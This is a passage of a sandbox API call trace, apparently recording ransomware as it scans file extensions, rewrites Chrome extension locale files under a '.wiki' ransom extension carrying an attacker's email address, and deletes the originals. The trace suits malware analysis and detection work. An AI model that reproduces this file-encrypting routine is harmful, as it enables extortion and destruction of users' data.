HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.988] lstrlenW (lpString=".zip") returned 4 [0173.988] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.988] lstrlenW (lpString=".rar") returned 4 [0173.988] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.988] lstrlenW (lpString=".bz2") returned 4 [0173.988] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.988] lstrlenW (lpString=".7z") returned 3 [0173.988] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.988] lstrlenW (lpString=".dbf") returned 4 [0173.988] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.988] lstrlenW (lpString=".1cd") returned 4 [0173.988] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json") returned 153 [0173.988] lstrlenW (lpString=".jpg") returned 4 [0173.988] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.988] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.988] lstrlenW (lpString="messages.json") returned 13 [0173.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.989] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=281) returned 1 [0173.989] CloseHandle (hObject=0x19c) returned 1 [0173.989] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json")) returned 0x2020 [0173.989] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.989] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.989] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.990] GetLastError () returned 0x0 [0173.990] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x119, lpOverlapped=0x0) returned 1 [0173.991] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x120, lpOverlapped=0x0) returned 1 [0173.992] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.992] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.992] SetEndOfFile (hFile=0x1a0) returned 1 [0173.992] CloseHandle (hObject=0x1a0) returned 1 [0173.992] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.992] SetEndOfFile (hFile=0x19c) returned 1 [0173.993] CloseHandle (hObject=0x19c) returned 1 [0173.993] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.993] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json")) returned 1 [0173.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.993] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.993] lstrlenW (lpString=".doc") returned 4 [0173.994] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.994] lstrlenW (lpString=".docx") returned 5 [0173.994] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.994] lstrlenW (lpString=".pdf") returned 4 [0173.994] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.994] lstrlenW (lpString=".xls") returned 4 [0173.994] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.994] lstrlenW (lpString=".xlsx") returned 5 [0173.994] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.994] lstrlenW (lpString=".ppt") returned 4 [0173.994] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.994] lstrlenW (lpString=".zip") returned 4 [0173.994] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.994] lstrlenW (lpString=".rar") returned 4 [0173.994] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.994] lstrlenW (lpString=".bz2") returned 4 [0173.994] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.994] lstrlenW (lpString=".7z") returned 3 [0173.994] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.994] lstrlenW (lpString=".dbf") returned 4 [0173.994] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.994] lstrlenW (lpString=".1cd") returned 4 [0173.994] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.994] lstrlenW (lpString=".jpg") returned 4 [0173.994] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.994] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.995] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.995] lstrlenW (lpString=".doc") returned 4 [0173.995] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.995] lstrlenW (lpString=".docx") returned 5 [0173.995] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.995] lstrlenW (lpString=".pdf") returned 4 [0173.995] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.995] lstrlenW (lpString=".xls") returned 4 [0173.995] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.995] lstrlenW (lpString=".xlsx") returned 5 [0173.995] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.995] lstrlenW (lpString=".ppt") returned 4 [0173.995] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.995] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.995] lstrlenW (lpString=".zip") returned 4 [0173.995] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.995] lstrlenW (lpString=".rar") returned 4 [0173.995] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.995] lstrlenW (lpString=".bz2") returned 4 [0173.995] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.995] lstrlenW (lpString=".7z") returned 3 [0173.995] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.995] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.995] lstrlenW (lpString=".dbf") returned 4 [0173.995] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.995] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.995] lstrlenW (lpString=".1cd") returned 4 [0173.995] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.995] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 152 [0173.995] lstrlenW (lpString=".jpg") returned 4 [0173.996] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.996] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.996] lstrlenW (lpString="messages.json") returned 13 [0173.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.996] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=338) returned 1 [0173.996] CloseHandle (hObject=0x19c) returned 1 [0173.997] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json")) returned 0x2020 [0173.997] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.997] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.997] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.998] GetLastError () returned 0x0 [0173.998] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x152, lpOverlapped=0x0) returned 1 [0173.999] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x160, lpOverlapped=0x0) returned 1 [0174.000] ReadFile (in: hFile=0x19c, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.000] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.000] SetEndOfFile (hFile=0x1a0) returned 1 [0174.000] CloseHandle (hObject=0x1a0) returned 1 [0174.000] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.000] SetEndOfFile (hFile=0x19c) returned 1 [0174.001] CloseHandle (hObject=0x19c) returned 1 [0174.001] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.001] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json")) returned 1 [0174.002] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.002] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.002] lstrlenW (lpString=".doc") returned 4 [0174.002] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.002] lstrlenW (lpString=".docx") returned 5 [0174.002] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.002] lstrlenW (lpString=".pdf") returned 4 [0174.002] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.002] lstrlenW (lpString=".xls") returned 4 [0174.002] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.002] lstrlenW (lpString=".xlsx") returned 5 [0174.002] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.002] lstrlenW (lpString=".ppt") returned 4 [0174.002] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.002] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.002] lstrlenW (lpString=".zip") returned 4 [0174.002] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.002] lstrlenW (lpString=".rar") returned 4 [0174.002] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.002] lstrlenW (lpString=".bz2") returned 4 [0174.002] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.002] lstrlenW (lpString=".7z") returned 3 [0174.002] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.002] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.002] lstrlenW (lpString=".dbf") returned 4 [0174.002] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.002] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.002] lstrlenW (lpString=".1cd") returned 4 [0174.002] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.003] lstrlenW (lpString=".jpg") returned 4 [0174.003] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.003] lstrlenW (lpString=".doc") returned 4 [0174.003] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.003] lstrlenW (lpString=".docx") returned 5 [0174.003] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.003] lstrlenW (lpString=".pdf") returned 4 [0174.003] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.003] lstrlenW (lpString=".xls") returned 4 [0174.003] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.003] lstrlenW (lpString=".xlsx") returned 5 [0174.003] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.003] lstrlenW (lpString=".ppt") returned 4 [0174.003] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.003] lstrlenW (lpString=".zip") returned 4 [0174.003] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.003] lstrlenW (lpString=".rar") returned 4 [0174.003] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.003] lstrlenW (lpString=".bz2") returned 4 [0174.003] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.003] lstrlenW (lpString=".7z") returned 3 [0174.003] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.003] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.003] lstrlenW (lpString=".dbf") returned 4 [0174.003] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.004] lstrlenW (lpString=".1cd") returned 4 [0174.004] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.004] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 152 [0174.004] lstrlenW (lpString=".jpg") returned 4 [0174.004] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.004] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.004] lstrlenW (lpString="messages.json") returned 13 [0174.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.004] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=274) returned 1 [0174.004] CloseHandle (hObject=0x19c) returned 1 [0174.004] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json")) returned 0x2020 [0174.005] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.005] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: 